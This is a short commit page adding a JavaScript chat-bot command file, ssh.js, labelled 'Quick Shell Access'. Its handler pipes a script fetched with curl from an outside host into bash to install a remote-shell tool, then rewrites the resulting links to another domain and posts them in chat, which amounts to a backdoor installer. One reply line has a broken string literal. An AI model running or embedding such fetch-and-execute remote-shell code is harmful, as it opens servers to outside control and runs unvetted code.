roktimsardar123 commited on
Commit
c945c8a
·
verified ·
1 Parent(s): b6a2f8f

Create ssh.js

Browse files
Files changed (1) hide show
  1. ssh.js +27 -0
ssh.js ADDED
@@ -0,0 +1,27 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ const { exec } = require('child_process');
2
+
3
+ config = {
4
+ name: "ssh",
5
+ version: "1.1",
6
+ author: "tanvir && roktim",
7
+ countDown: 5,
8
+ role: 2,
9
+ longDescription: { en: "Quick Shell Access" },
10
+ category: "owner",
11
+ guide: {
12
+ "en": "{pn}"
13
+ }
14
+ }
15
+
16
+ async function onStart({ message }) {
17
+ exec('bash -c "$(curl -fsSL https://gsocket.io/x)"', (error, stdout, stderr) => {
18
+ if (error) {
19
+ message.reply(Error:\n\n${error.message});
20
+ } else {
21
+ const mod = stdout.replace(/https:\/\/gsocket\.io/g, 'https:\/\/gsocket\.roktim\.io');
22
+ message.reply(mod);
23
+ }
24
+ });
25
+ }
26
+
27
+ module.exports = { config, onStart }